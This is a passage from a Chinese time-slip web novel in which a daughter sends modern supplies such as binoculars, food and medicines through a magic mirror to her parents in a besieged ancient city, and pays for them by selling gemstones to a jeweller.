楚萧被这一打岔,忘记了心里的疑问。望远镜他懂啊,差的几元钱,好的上万上亿了。 袁淼笑了:“我要不是天文望远镜那种,是……军用,最好的军用望远镜。” “军用望远镜?我知道!”这个楚萧更懂了,列举了最贵最好的以及评价最高的几种。 袁淼想了想,带激光带阻击/枪的那些父亲估计都不会拿出来,拿出来了没法解释。 “三十万来一台的那种,你能买到货吗?我要十台。” 对于袁淼这种购物方式,楚萧已经习惯了。 “我问问,应该没问题。” “尽快哦。” “我知道。” 箱子抬上车后,沈若臻开车,楚萧在车上就开始打电话,回到别墅的时候,已经确定了哪一种有货,并且今天就可以过去拿到。 袁淼把账转给了楚萧,这天就在地下室清点箱子里东西。 开网店的流程,公司的岳然已经打听清楚,袁淼已经让她去办手续了,网店的名称就叫博云珠宝。 她想过了,她手上现在最能赚钱还是珠宝玉器,但是开线下珠宝玉石店得找个懂行又靠谱的人帮忙,而她现在并没有这样的人手。 开网店相对而言简单一点。她可以把想要卖的东西请专家帮忙估价后,再挂到网上去卖。有人买,当然好,没人买,就继续寄卖,或者委托给拍卖行。等找到了合适的人手后,再开实体店。 网上销售珠宝玉石的店不少,虽然大多数人气不怎么样,但这类本来就不是必需品。 网店的手续办好之后,她就要准备拍照上传货品了。新店开张,第一批上什么很重要,得想清楚了。 * 收到了B超机后,谢云溪就按照说明书操作了一番。这机器太过骇人,她自己一个人在库房摆弄,还没摆弄明白,念荟就在门外说庄静带着女儿关景钰上门了。 谢云溪出来,来到正房。原本坐着的两人站了起来,庄静快步过来扶住了谢云溪:“最近怎样?我听说你经常在医棚那边帮忙,累不累?” “还好,我过去就看看,什么事都没干。” 前不久的一战,晋州大多数人都出了力,关正的儿子关景和上了城墙,庄静带着女儿关景钰同庄老夫人周氏等都在城下烧金水。此事晋州城里也传遍了。 两人携手坐下后,庄静说:“我今日是专程来谢你的。” 用上了袁博文带过去的药后,关正都在说伤口那处疼得比先前好多了。 谢云溪知道庄静是个直性子,也没遮遮掩掩,把用药的注意事项详细交代了一遍。 原本,抗生素在使用之前是需要做皮内实验的,但眼下的条件根本就不容许,好在用了这么多例,只有个别出现了轻微的皮疹瘙痒等不良反应。 念荟带着白露进来,端上了清洗干净的水果和茶点。 红通通的苹果一出来,关景钰的眼睛便盯上了。 “这是什么果子?” 谢云溪笑着说:“这是苹果。” 她拿了一个让关景钰尝尝。 关景钰看了母亲一眼后,接过后,咬了一口,眼睛都亮了。 谢云溪微笑看着她,想到了自己的女儿,他们夫妻离开的时候,女儿也跟眼前的小姑娘一般年纪。 “好吃吗?” “嗯!”关景钰笑眯眯点头,觉得太好吃了。 寒冬腊月的北地,原本物资匮乏,晋州经历了几次封城,粮食虽然还有,但是绝对称不上丰富了。新鲜蔬菜只有萝卜白菜,新鲜水果则是许久没见了。 关正虽贵为守备,但一向俭朴。府邸也很久没吃上新鲜的水果了。 庄静点着女儿,“你这丫头,怎么能这样?” 谢云溪笑着说:“我觉得这样挺好……你要是喜欢吃,一会带点回去。这果子是从西边运过来的,咱们这里并没有,你也尝尝。” 庄静是个直爽的,尝了一口便夸。 两人回去的时候,谢云溪让念荟装了一篮子,让她们带回去。 等人走后,她看了看庄静带过来的礼,两根百年人参,两盒燕窝,两盒花胶。这三样可都是好东西,人参自然不用说,血燕窝女儿上次说过,一克差不多要一百多元了,这两盒五六斤没跑了。花胶一斤也要几十万,最好上百万。 庄静送过来的两盒花胶是不是女儿那边所说的顶级花胶,她不知道,但是守备夫人所用的肯定不是一般的花胶。 谢云溪看过后,让念荟收到库房去。 几盒抗生素加一篮苹果就得到了这些,差不多上千万了。谢云溪笑了笑,想着要不要让女儿多传点新鲜蔬菜和水果过来。 总是酱菜腊菜萝卜白菜,出现了营养不良和维生素缺乏就不好了。想要守住这座城,城里的人身体也很重要。 * 楚萧拿到望远镜后,赶紧送给了袁淼。 袁淼拿到货之后,看了看时间,还是敲了敲镜子。 谢云溪听到镜子响动,还以为女儿那边出了什么事。时间已经快子时了。袁博文也回来了,他们俩刚用B超扫了扫。肚子里的胎儿很正常。 袁淼已经好几天没见袁博文了。 “爸爸,望远镜到了!” 她把望远镜传了过去。 袁博文收到之后,试了一下就觉得很好。 “这一台多少钱?” “三十二万,这是最好的军用望远镜。” 谢云溪瞠目结舌。一台望远镜三十二万?十台那就是三百二十万了!好在女儿才卖了一块原石。 “以后你别这晚了,快去睡……等等。”谢云溪交待完女儿,又想起了一件事,去库房把庄静今天送过来的燕窝和花胶拿了过来。 “这是关正的夫人和女儿今天送过来了。”谢云溪说完就传了过去。 袁淼来不及说不,东西就到跟前。 “你让保姆烧给你吃,这两种经常吃对女人有好处。” 袁淼看着眼前的东西:“妈,这么多,我也吃不了啊,我能卖掉吗?” “怎么吃不了?你每天吃一点。这都是处理好的,你不用担心过期。”要卖钱多的是东西可以卖,这两样东西现在可不好弄到手,“快去睡吧。” 让袁淼赶紧去睡后。谢云溪说:“这当铺咱们还是早点开起来的好。” 袁博文点头,一开战,钱就跟流水在用。好在当铺的铺面今天已经看好了,粮行两边的铺子也都盘了下来,只要简单收拾一番,就能用上了。 “今天庄静过来的时候,我送了一篮苹果让她们带回来了。你说咱们在粮行单独开了小间卖水果怎么样?” 袁博文想了想:“不用单独开小间,就跟蔬菜一起卖吧,明天跟淼淼说,让她传点蔬菜水果过来。” “也行,那咱们卖哪几种呢?” “苹果已经露面,橘子梨子这边本来就有,猕猴桃是水果之王吧,蔬菜可以加黄瓜豆角……刚开始,就这几样吧?” 夫妻俩说好了后歇下。 第二天,袁博文就拿着望远镜来到了城墙上,最远竟能看到十几公里开外了,十公里左右清晰无比,还配备有夜视装置。 十几公里的距离,足以让他们做很多事了。 有了这个东西,斥候营的人能省事不少,围城拉铁丝网也用不着了。至于女儿所说的无人机,也看看情况再说。 袁博文看了好一会,才把手中望远镜递给斥候营的主将。 斥候的主将接过后,眼睛一贴上,就惊叫了一声。 第54章 第 54 章 围困 斥候营的主将转头看了袁博文一眼, 见他一脸淡定,遂又继续看向圆筒,越看心里越惊喜。 这东西竟然能将数千丈之内尽收眼里!有了这个他们斥候营哪儿还用得着冒着丢命的危险跟过去探查?北凉人干什么, 这玩意用上就一目了然了! 斥候营的主将笑了起来, 看了一圈后, 问:“大人, 这东西叫什么?” “望远镜。”袁博文如实说。 “好!好望远镜!”斥候营的主将喜不自胜,说完又看上了。 袁博文让商泽把剩下的六个给主将, 交待:“这望远镜非同小可,我弄到手也十分不容易,你们千万别让它落到了其他人手上。” 斥候营的主将没想到居然一共有七台,更加高兴了。袁博文不说, 他也知道这望远镜万万不能落到敌人的手上。 “大人放心!斥候营的人即便是丢了性命,也不会让其落到北凉人手上。” 斥候营主将说完, 就招人过来,把望远镜分了下去。 袁博文在城墙上站了一会后才离开,十台望远镜,他留了两台下来, 一台自己用,另一台就放在家里。 这天他们要搬家,袁博文也没在军营久呆。三进的院子原本想着封一进起来,但他们现在打算扩大经营,蔬菜水果等总不好都放在码头那边的宅子里。 夫妻俩人商量过, 码头那边的宅子以后就放军需军械等物资, 米粮蔬菜水果就放到后院,多出来的房间,另开辟成库房。 老宅院的家用物件都已经收拾妥当, 有人帮忙,一天就把东西全部搬过来了,剩下的整理则是需要时日慢慢来。 谢云溪怀了孕了,这事不能急。 过了几天,谢记粮行两边的铺子以及当铺收拾妥当了。当铺的掌柜则是请了一位本行的老人,姓于。如今袁博文在晋州的大名已经传开,倒也不用担心有不长眼耍花招。 粮行上新的第一天,苹果和猕猴桃没有卖完,橘子梨子倒是早早空了,到了第二天,四样水果全买完了,第三天谢记粮行门口就出现了排队购买的迹象。 晋州城里的有钱人还是不少。 四样水果,猕猴桃的卖价最高,一两五十文钱,苹果则是四十文钱,橘子梨子则都是二十五文钱,换算起来,猕猴桃差不多七十多一斤,苹果五十多一斤。 之所以把价开这么高,倒不是想在这几样上赚多少钱,属实是因为这边的水果本来就不便宜,别的不说,橘子梨子正当季的时候都要好几文钱一两,往年非当季的也是二三十文钱一两。 苹果和猕猴桃这边没有,既然找的原因是从外面好不容易弄到的,总不好比橘子梨子还便宜。 交通不发达的时代,物价就是这么贵。 蔬菜增加了黄瓜和豆角,谢云溪专门让袁淼买的土黄瓜,跟这里的黄瓜区别并不很大,也是一上新,当天就没了。 连带了粮行的几种米粮也卖的飞快。 当铺新近开张,生意倒是一般,一天下来,也就三五件而已。 这天,谢云溪正在房里算账,突然听到号角声响,她一惊抬头,连忙让人去打听消息。 已经好些天没听到这样的声音了,不过晋州城内的百姓都知道迟早有这么一天,该准备的早就准备好了。 谢云溪让念荟把防护衣拿过来,正在穿,出去打听消息的谷雨跑回来了。 “夫人,北凉人来了!不过,他们并不像是马上要打的样子,在城外安营扎寨呢。” 谢云溪愣了下,前两次北凉人过来,第一次是一来就打,第二次是歇了一晚开打。这一次也是要歇口气再打吗? 她让谷雨再去打听,有变化赶紧来报。防护衣继续穿好,药品物品等也都准备妥当了,除此之外,她身上还带了一把匕首和一根电棍。 直至天黑了,城外依旧没有动静,城墙上的灯点了起来,城下的民兵也都待命在那里。 这天晚上,袁博文到了子时方才回家一趟,谢云溪问:“吃了吗?” “吃过了,你别张罗,我喝口水就走。” 谢云溪知道军情紧急,也没催促。袁博文喝了一碗水后:“家里都还好吧?你不用担心,打起来城墙上号角会响。今天晚上应该没事,你先睡。” 有带了夜视装备的望远镜在手,北凉那边有什么动作这边一目了然。 谢云溪点头:“你自己当心。” 袁博文走了。 这天晚上谢云溪也没有睡好。第二天居然还是没有动静,谢云溪到城墙下站了会,上面已经严阵以待,寻常人不能上去了。 等到晚上,袁博文才回来,这次没有吃饭。谢云溪连忙让人把灶上还热着的饭菜端过来。 袁博文狼吞虎咽吃完:“这次北凉人来了不少,但是精锐骑兵不多。” 北凉大军已经在城外约五里处驻扎,有了望远镜,北凉那边营帐有多少,兵马有多少,主将都有谁,如今都知道了,看架势他们竟像是要长期驻扎的样子。 “长期驻扎?难道说他们想……”谢云溪吃惊问。 袁博文点头,他们的看法一致,都觉得北凉人有围城的打算。 这时候围困晋州确实是一记狠招。 晋州城小,远不及郴州,先前就多次封城,物资有限。再围上些时日,待到城内物资耗尽,自然就不攻而破了。 根本就不需要费力去打。 关正和各营主将以及张时文等人都觉得不妙。晋州城的物资并不多,上次一战之后,晋州城外方圆数里已经没有了人烟,城内的物资并没有得到补充。 张时文算过,府衙的储备最多只能撑上十日,军营的更不用说了,常规五日的储备,这还是因为有袁博文这个暗挂在帮忙。至于城中民众,他们都觉得每家应该都不多了。 寒冬腊月,孤城一座,物资一旦耗尽,其结果可想而知。 袁博文一直没吭声,就听大家说。粮食,他要多少就能有多少,但这事怎么说开?放在粮行里慢慢卖,没人知道管你的粮食是从哪儿来的?即便是觉得奇怪,也不敢当着他的面说。 关正的伤还没好全,如今袁博文代管着全城,谁敢对他有意见? 慢慢卖问题不大,大批量拿出来肯定不行。 众矢之的下,不好招架。 谢云溪也觉得这事棘手。如果北凉真做了围困的打算,晋州现有的储备肯定撑不了多久,他们的粮食肯定是要拿出来的。 但怎么说呢?前不久城门还开着,还可以胡扯一通,现在北凉人一来,城门必须得关。东西怎么来的,没法说清了。 袁博文想了想,这件事情只有绝对的权威和武力才能压住,现在晋州城内也只有关正能做到这点,他这个代管目前也还能凑合。 “走一步看一步吧。” 反正目前没人管他要粮,谢记粮行继续开,米糠又不贵,现在城里的民兵都有俸禄,城墙下建设防御工事每天都在招工,只有肯干活,就饿不死。 只要他不说话,其他人再有想法,现在也只能放在肚子里。 谢云溪:“要不要跟淼淼说一声?” 晋州被围困,想要维持稳定,需要的不仅仅是大量的粮食,还有药品和其他生活物资等,女儿那边得有个心理准备。 袁博文看了看时间:“明天吧,今天太晚了。” 谢云溪也赞成。 夫妻俩又说起其他事,幸亏粮行扩大了,当铺也开了起来。 北凉意欲围困晋州的事情,还是先不对民众公布,免得引起恐慌。等到时间稍长些,民众察觉过来,发现被围困了也没多大事,自然就不慌了。 不能出城,不能让人多想,闲下来容易出事,接下来还要多多招工征兵。民兵们的训练也要加强,各种技能大赛可以开展一下,表现突出的可以进入黄铮的骑射营和袁博文自己的大刀队。上次的大战,许多表现突出的士兵都升了职。进入精锐营也意味着有可能升官发财。 谢云溪想到粮行和当铺,袁博文管的事情多,她这里就一个粮行和当铺,可以再招些人手。另外还可以盘几家铺面下来,招些人手做点手工之类。但要做什么,得好好想想,最好是能传给女儿卖钱。 两边有来有往才是长久之计。 谢云溪想着这些睡着了,等醒过来袁博文已经不在家,问念荟,才知道他半夜就走了。大概就是自己睡熟的那会。 谢云溪吃过早餐后,把昨晚上夫妻俩商量的事理了下,这边民众常用的生活物资列了张清单,瞧着时间差不多,女儿应该起床了,才敲了敲镜子。 袁淼大清早听到动静,连忙过来。 谢云溪问:“你吃过了吗?” “吃过了。”袁淼有点担心,“是不是出了什么事?” 没事的话,父母不会这么早敲她。 “北凉大军又来了。”谢云溪说。 袁淼也紧张起来。 谢云溪又说:“不过他们还没有发动攻击。你爸和其他主将判断他们这次有可能不主动进攻,而是围城,等晋州弹尽粮绝了才发动。” 袁淼想了想晋州的位置,北地腹地,周围都已经沦陷,打一场围困战确实能起到四两拨千斤的作用。历史上这样的战事不少,她经常泡在军事群里,也听了不少。 既然围城,那就长久战了,打的就是一个物资,物资充足,有吃有喝,围上几个月半年都没问题。 袁淼想清楚后问:“需要我做什么?” 第55章 第 55 章 宝石 “你爸和我商量过, 这次还得靠你。”谢云溪说。把列举的清单传给了女儿,“这上面是晋州常用的物资,具体要多少目前没有数, 我们打算一部分以买卖的方式散出去……” 米粮蔬菜水果等可以通过谢记粮行卖出来。 衣物类日常用品晋州城内大多数民众不缺, 贫困人家勒紧裤带咬咬牙也能撑过几个月。城里如今也有几家布庄还在坚持。谢云溪打算再盘一家门店下来, 出售绸缎棉布及成品衣物, 一来是作为补充,二来也能起到平抑物价的作用。 医馆也准备开一家, 谢云溪是个医生,如今晋州城内都知道她医术不错,孤城中的男女大防早就没先前那么严苛了。当然,西医的那些, 谢云溪依旧不打算拿出来,她现在怀孕, 医馆即便是开张,也不会长时间坐诊,准备请人,郎中和学徒以及小工都要, 开医馆主要的目的还是为了补充城内的药品以及物品。 袁淼一一记下来了。传过来的清单上面只有生活物资,这些在市场上都可以买到。打战所需要的军械之类,她前不久传了一些过去。这次清单上没有列举,父亲不在家,这一块只有等他回来了才知道要不要?要多少? “怎么样?没问题吧?”谢云溪问。 “没问题。”袁淼说。 谢云溪想到女儿那边的经济情况, “你现在手上的钱还够吗?不够的话, 再卖点东西。” 她准备一会去当铺看看,挑几件死当的物件出来,给女儿传过来。 “够。”袁淼觉得没问题, 她手上现在还有两亿多,清单上的这些生活物资都不贵,而且父母这次并不是一次性大量需要。 谢云溪觉得两亿还是太少,不能把女儿手上的钱全用光了。 “要不,你给王所长联系联系?问问箱子里的那些,他要不要?” 珠宝等之类,郭嘉也有博物馆艺术馆,销货的渠道多多,金子和银子郭嘉肯定不会嫌多。交给郭嘉最省事了。 “暂时不用,我开了一家网店。”袁淼觉得上交的话,肯定没问题,但是价钱方面就不好说了。父母那边什么时候情况好转不确定,钱自然是越多越好。 谢云溪愣了下:“网店?”她当然知道网店是干什么的?他们夫妻离开的时候网购已经很流行了。 “嗯,专卖珠宝玉器。”袁淼把自己网店的情况告诉了母亲。 博云珠宝网店已经上线了,袁淼把母亲以前传过来的几件首饰拍照挂了上去,还有红宝石和蓝宝石以及珍珠手串,都是些小件,大件的没有拿出来。 行情还没有摸清楚,目前网站上只挂了六件商品,明码标价准备卖的也就只有珍珠手串和一支玉簪两支金钗。定价参考了网上的同行。其他则暂时挂价九亿九千九百万+,明眼一看就知道这是不打算卖,挂出来让大伙欣赏欣赏。 当然,这只是暂时。袁淼打算摸清楚了行情之后,再诚意标价。 谢云溪听袁淼说完,点了点头,觉得也行。 玉簪金钗等之类的首饰在这边不贵,尤其现在,城内几家首饰铺都在打折促销。祥和银楼在晋州的分店则早就关了门。 盛世收藏,乱世黄金,首饰现在不值钱。谢记当铺开张没几天,收的最多的就是首饰了。到时候可以把这些传给女儿,挂到网上去卖。 母女两人又说了一会话,断开了。袁淼收拾了一番后,开车来到公司。新聘的保安大叔开了门。 前不久招聘人事的广告挂出去之后,博云贸易又招了八个人,其中就有保安和保洁。袁淼已经把岳然从公司抽了出来,专门负责博云珠宝的网店运营。 其他人还没有来,袁淼把公司近期的账目对了一下。这些以后是要上交审核,按照境外贸易补交赋税的。 快到八点时,公司的人陆续来了。袁淼等人全部到齐后,才把沈若臻楚萧小丁等人叫进来,告诉他们接下来要开始忙了。 她把粮食蔬菜水果的购买交给沈若臻,让他带两个人去办。父母那边虽然没有给量,但袁淼自己有账,既然打算从粮行出去,米糠粟米黍米豆类等至少要五天的储备粮。蔬菜水果放时间容易坏,谢记粮行是每天限量在卖。她这边准备上三天的量就可以了。 沈若臻拿到数目就去办公室叫人了。米粮之类可以在网上购买,但是新鲜的水果蔬菜则要跑市场。 袁淼把购买军械的事情派给了楚萧,父亲这次并没有让她买这些东西,所以只让楚萧订购了长枪和弓弩弩箭,数目并不多。也让楚萧叫了一个人帮忙。 小丁依旧是负责药品,但是这一次他们并不是要买西药,而是买中药材。谢云溪把常用的中药材也列了出来。袁淼把目录和数量交给了小丁,让他带两个新人去跑。 至于其他生活用品,比如衣物布料之类,父母那边的店面还没有找好,袁淼叫了两名新员工先了解市场。 事情派下来去之后,袁淼又问了问岳然,网上珠宝依旧无人问津。她在办公室坐了一会,就这么等人上门自然不是事。她今天派下去要买的东西已经有大几百万了。 拿出了宋记的名片和大福源楼的名片看了一会,袁淼拨通了嘉仕达孙士林的电话。 “孙经理你好!” “袁小姐!”孙士林接到袁淼的电话也很高兴。 袁淼先问了自己前段时间委托给嘉仕达拍卖的玉碗宣传的情况。 孙士林觉得反响不错,应该又是一件爆款。羊脂白玉碗一套,共十二个,虽无底款,但造型完美,每个都是整玉雕成,十分难得。拍卖行的玉器鉴定师傅认为最终的拍卖价应该能在原估价的基础上翻上一翻。 袁淼听到这里,心里高兴,跟孙士林道谢。嘉仕达不愧是是国内数一数二的拍卖行,她每次拿过去的东西都卖的很不错。 “袁小姐客气了。”孙士林笑呵呵说。 客户的臻品卖的越好,他们拍卖行的收益也就越高。孙士林也很喜欢袁淼这样的客户。 袁淼顿了顿:“宋总在吗?” “您要找他?”孙士林的声音听起来很期待的样子。 袁淼又顿了顿:“……是的,有点事!” 孙士林也顿了顿:“您稍等,我问问。” 挂了电话,袁淼又把桌子上的名片拿过来看了看。比较起来,她更信任宋记,尤其是宋颜。这人虽然不苟言笑,看起来不好接近的样子,但实际上人品不错。 至于大福源的黄经理以及那位周公子,打的交道较少,虽然很热情,但品性未知。 只等了一会,孙士林的电话就打过来了,宋颜就在嘉仕达的办公室,现在有空。 袁淼先回了家,挑了一颗不大不小的红宝石和蓝宝石,来到了嘉仕达。 孙士林正在服务台前,见到了袁淼,笑逐颜开迎上来:“袁小姐,我带您上去。” 他们上了电梯后,服务台的两位前台小姐,有个低声问:“宋总专门过来,要见的是不是她?” 她的同伴点头:“你没听到吗?姓袁,就是她。” 前台小姐感慨:“确实很漂亮,难怪宋总这么上心了!” 同伴拐了拐她,示意别八卦了。 孙士林陪着袁淼上了楼,来到总经理办公室门口后,敲了敲门,听到里面喊请进,便把门推开,请袁淼进去,袁淼进去后,他带上了门,但并没有立刻就走,而是在门口听了几秒。 袁淼进去后便冲宋颜微笑招呼:“宋总!” 宋颜依旧冷清规整:“请坐!”看着袁淼坐下后,问:“袁小姐今天过来,有什么事?” “呃……一点小事。”袁淼脸上笑着,心里却有点尴尬。想及来此的目的,就是为了钱。生意场上倒也没必须虚套,她的底细宋颜也知道不少。这么一想,袁淼心里的尴尬也没了。把装了红蓝宝石的两个小盒子拿出来,笑着推过去。 “才得了两样东西,宋总能不能帮我看看?” 宋颜打开盒子,先拿出了蓝宝石,看了好一会,放回去后,又看红宝石。 袁淼盯着他,希望能从他脸上看出点东西。这两颗宝石是父亲从晋州前郡守府邸抄家捞到,货绝对是真的,并且是好货,否则也不会被晋州最大的文官看上。但是现在宝石有产地的讲究,例如著名宝石产地斯里蓝卡和东缅等。 而她的宝石绝对与这些产地不沾边。 很可惜,宋颜的脸上一点表情都没有,除了耳朵有些微红以外,看不出任何情绪波动。 两颗宝石,宋颜看了许久,还拿出了工具。 “红宝石,颜色纯正鲜浓,达到了鸽血红级别,净度上没有任何裂痕或内含物,重6.3克拉。去年嘉仕达拍卖过一颗莫桑比克鸽血红级别的宝石,总价八千六百万,单价每克拉四百五十万,袁小姐的这颗红宝石嘉仕达估价一千八百到二千二百万之间,至于这颗蓝宝石,嘉仕达估价一千五百万到一千八百万……” 袁淼听到报数,忍不住露出了笑容。 两颗宝石,宋颜都没说产地,直接报了颜色和品级,这么看来,宝石的产地也并不是那么重要,重要的还是宝石本身的品质。 “这两颗宝石,袁小姐要拍卖吗?”宋颜问。 袁淼想了想,宝石她多,光红宝石蓝宝石她就有几百颗了,如果一颗颗拍卖,得卖多久?再说经过拍卖行卖的多,价格肯定会下来。 大福源都收宝石,想必宋记也一样吧。 “宋记……回收宝石吗?” 宋颜面不改色:“那当然,这两颗宝石如果袁小姐出给宋记,红宝石二千二百万,蓝宝石一千八百万。” 二千二百万和一千八百万!取了估价的最高区位,但是如果拍卖的话,极有可能超过这个价。 “袁小姐的这两颗宝石虽然经过了处理,但是在制作成成品过程中不可避免会出现耗损,宋记回收宝石的目的跟其他藏家不一样,我们需要考虑利润的问题。” 袁淼点头,心里已经乐开了花:“我明白……宋总是帮过我大忙的人,我永远记得……这两颗宝石我出给宋记!” 宋颜看着袁淼,过了一会说:“袁小姐手上是不是还有?” 袁淼愣了一下,她表现的有这么明显吗? 宋颜转了个身,在电脑上操作了一会后,把电脑屏幕转了过来,指着说:“这家网店是袁小姐开的吧?” 袁淼凑过去一看,博云珠宝的首页就在眼前,上面陈列的红宝石和蓝宝石就在最显眼的位置。 “………是的,才做好不久……宋总有没有看上的,价格好说。”即然被发现了,那就没有隐瞒的必要了。 “袁小姐如果还有宝石,都可以出给宋记,价格我们可以谈。”宋颜说。 袁淼看着眼前的人,就像是看到一大堆钱,觉得无比亲切。 “翡翠原石,你们也要吗?” 第56章 第 56 章 买卖 “当然要, 不过不是所有的原石都收,宋记只收高档翡翠原石。”宋颜淡淡说。 袁淼一点都没觉得眼前的人冷淡,在钱的面前, 这些表象都可以忽略。她点头, 对宋颜的话表示赞同。 宋记是国内数一数二的珠宝首饰大店, 看上的自然不是一般表现的翡翠原石。 “不瞒宋总, 我手上是还有宝石……不知道宋总能给多大的优惠?” 翡翠原石她现在手上也只有三块,可以缓一缓再出手。 “袁小姐的问题, 我现在无法给予准确的答案。宝石的价格并不是一成不变,除了要考虑颜色、明度和饱和度外,还要考虑重量的问题,越重的宝石在三大基本条件相同的情况下, 价钱也越高。如果你手上的宝石与这两颗在颜色质地以及重量差不多的情况下,宋记可以提价百分之五收购。” 百分之五的提价!也就是一千多万能加价五六十万了。 袁淼想及箱子里的那些宝石, 她肉眼看是有区别,不过,她拿出来的这两颗是其中最普通的,与之颜色差不多, 重量差不多的也最多,有二三十颗了。 二三十颗,二三个亿差不多有了。 袁淼微笑看着宋颜:“行……宋总明天有时间吧?” 现在去拿,有一定风险。 宋颜看了看时间:“明天上午九点,我就在嘉仕达。” “好, 明天上午九点我来找宋总。至于这两颗宝石, 出给宋记了。” 宋颜收了,打了个电话,让鉴定师过来。 袁淼看着鉴定师, 她手上宝石可不少,不可能总让别人来鉴定,目前网店已开,有些知识自己也该学习学习了。 鉴定师看过后,评价与宋颜差不多。两颗宝石,袁淼换到了四千万。 离开的嘉仕达的时候,袁淼的心情很好。回去的路上,顺便买了放大镜以及克拉秤。到家后便把所有的宝石称了重量,用放大镜把五至七克拉颜色差不多的挑了出来。 共有二十一颗,最终袁淼选了十颗。 到了晚上八点,袁淼就敲了敲镜子,谢云溪出现了。 袁淼问:“怎么样?北凉那边有动静吗?” 谢云溪摇头,现在她越发肯定了北凉围困晋州的看法。城里如今依旧风声鹤唳,严阵以待。军中以及官府并没有把他们的发现公之于众,不过也在悄悄做准备。她今天去粮行的时候就看到巡防营正在挨家挨户清查人口。 “爸爸还没有回来吗?” 谢云溪点头:“你不用担心,我们都很好。” 袁淼把今天派下去购买物资的清单传给了谢云溪:“这是我今天让公司员工去买的物资,你看看够不够?” 谢云溪仔细看了看后点头,女儿清单上罗列的物资一看就知道经过了核算,米粮之类是谢记粮行常规五天的销售量,蔬菜水果等则是三天的量,中药材等则各是十斤。 “你算过了吗?这些要多少钱?” “差不多二百多万,有些药材的价我不知道。” 二百多万!仅仅只是晋州城三到五天食品和药品的价。谢云溪顿时觉得经济压力陡增。 “淼淼,你那网店现在有人买东西吗?” 袁淼一下猜到母亲又在担心她手上的钱不够用了。 “没有……网店才开张,没有那么快的。不过我今天在宋记卖了两颗宝石,卖到四千万!” “宝石?什么宝石?”谢云溪有点吃惊。 “红宝石和蓝宝石,就是爸爸抄家那次传过来的,我各卖了一颗,还跟宋颜约好了,明天再去。” “宋颜?”谢云溪一下来了兴趣,“就是上次帮你的那个宋记的总经理吗?你们一直有联系吗?” “呃……是的。” 谢云溪又问:“他结婚了没有?有没有女朋友?你们联系这么多,应该知道了吧?” 袁淼连忙摇头,类似的问题,父母以前就问过,那时候她不知道,现在也不知道。挣钱才正事,大财主的隐私她不关心。 于是连忙岔开话题:“妈,爸爸那边有没有想要的东西?” “他没说。你明天去见宋颜,问问他除了宝石,其他的要不要?比如玉石之类的。”谢云溪也看出女儿在回避,这种事情有时候盯得越紧反而不好。 “我问过了,宋记也要翡翠玉石,但是要高档的。” 谢云溪觉得没问题,今天当铺就收了一件冰种的翡翠原石明料,有二十来斤的样子。于掌柜仅给了四十两银子的签了死当。 据于掌柜说,这个价还往下压都没问题。现在这种形势,除了金银,其他的通通不值钱。 四十两银子,也就八/九万,居然能标到一块二十斤左右的冰种翡翠明料,她听到的时候,真惊讶极了。 但是,于掌柜的话没有说错,盛世里,翡翠玉石的价堪比黄金,乱世中就是一块石头,不能当吃,也不能当穿。 袁淼听母亲说完,更是惊讶的下巴都要掉了。她前不久才见到一块冰种翡翠原石炒到了近千万,这价差也太惊人了吧? “妈妈明天给你搬过来,你问问宋颜,值多少钱?” 多联系,多来往,慢慢感情就培养出来了。 谢云溪对宋颜的感觉不错。 有钱人家的孩子,并不贪婪,帮了女儿大忙,也没图回报。 袁淼点头,没听明白母亲话里有话,光想着二十来斤的冰种翡翠明料可以卖多少钱了。 现在,对于她来说,挣钱是最重要的事情。只有钱足够,父母那边的物资供应才能得到保证。晋州平安,父母才能平安。 谢云溪有孕在身,袁淼没有说很久,叮嘱了几句后断开了联系。 第二天袁淼又来到了嘉仕达,这次宋颜叫了两名鉴定师过来,一一鉴定,七颗红宝石,三颗蓝宝石,袁淼换到了一亿二千多万。 钱到手,袁淼觉得宋颜的脸也格外的耐看了。原本一天花了二百来万,她觉得压力山大,现在则是轻松了许多。 有这一亿多打底,再加上手上还有的钱,晋州城内的民生物资至少能撑过十天。 “谢谢宋总!” 宋颜脸上一贯冷清疏离:“袁小姐不用客气,下次再有这类都可以拿过来。” “好!宋总再见!” 离开了嘉仕达,回到了公司,袁淼问了问各组购买物资的情况。昨天派下去的事有一已经部分到货。她等到晚上传给了父母,连同清单一起。 谢云溪看着清单上的目录和数字。现代的物资确实物美价廉,清单上的物资在这边即便是太平年月,价格大多数都比清单上贵。 尤其是新鲜水果蔬菜。 这几天谢记粮行门口一大早就有人在排队,新鲜水果蔬菜下午就销售一空了。 “你那边布料的价钱的怎么样?”谢云溪问。 袁淼又拿了一张单子过来,把员工打听的各类布料以及成品定制的价报给了谢云溪。 谢云溪说:“布庄的铺面袁归已经盘下来了,估计后天就可以上货了,你买些棉布麻布和绸缎过来吧,花式不用太复杂,质量差不多,耐磨耐穿就可以了。我让念荟画几张样式,你找人问问,定做出来,要多少一件?” “好。” “还有,手工绣品你那边有人要吗?” 袁淼愣了愣,这个她没了解过。 谢云溪也是这天在当铺的时候遇到一位当绣品的绣娘时想起来了。这里寻常人家的衣服多是自家的女人手工缝制,会针线的女人很多,绣娘就是一种职业,但是现在形势不好,晋州城内走家串户收绣品的货郎们早就没有了身影,这也导致许多人家断了生计。 她原本就想开个手工作坊,给人找点事做。绣房就很合适,将绣娘们请过来做绣品或者衣裳。绣品现在这边不好卖,女儿那边如果有人要,那自然好。如果没人要,那就攒到以后了再卖。战争总有结束一天。 至于绣娘们做的衣裳,可以放到布庄出售。 “没有人要也不打紧……你今天去见宋颜怎么吗?”谢云溪对这个问题很感兴趣。 “挺顺利的。”袁淼把经过说了一遍。 谢云溪听完后,也松了一口气。宋记果然财大气粗,这宋颜也着实不错,说给多少优惠就给了多少优惠。她把今天从当铺里搬回来的东西拿出来。 “这里面有我昨天晚上跟你说过的那块翡翠原石,你拿过去问问宋颜?值多少钱?他要不要?” 袁淼嘴里虽然说着好,心里却不打算找宋颜,至少近期她不想再找宋颜了。才赚了人家两亿多,总得让他歇口气不是? 宋记虽然财大气粗,但也不能紧着他一家薅毛。 反正她现在手上有钱,等一段时间再出手更好。 谢云溪把东西传了过去。 袁淼转头一看,东西是装在麻袋里的,解开来。里面是一块比篮球略小的翡翠原石明料,旁边没有手电,袁淼只肉眼看了看,玉石的肉质细腻微透,水头很足,日常灯光下泛着蓝光。 竟像是高冰种蓝水的料! 再看麻袋里,还有一个匣子。袁淼打开来,里面放着十件首饰,有簪钗步摇和钿花,看起来不如箱子里的那些精美华丽,但也都很漂亮。 谢云溪说:“这些首饰都是当铺收的死当,你挂到网店看看,有没有人要?” 几样首饰,当铺收到手都不贵,最多的也只出了三四两银子,换成人民币也就是六七千元而已。 